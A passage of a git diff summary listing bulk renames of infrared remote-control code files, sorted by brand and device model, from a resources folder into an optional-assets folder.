ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir (100%) rename assets/{resources/infrared => 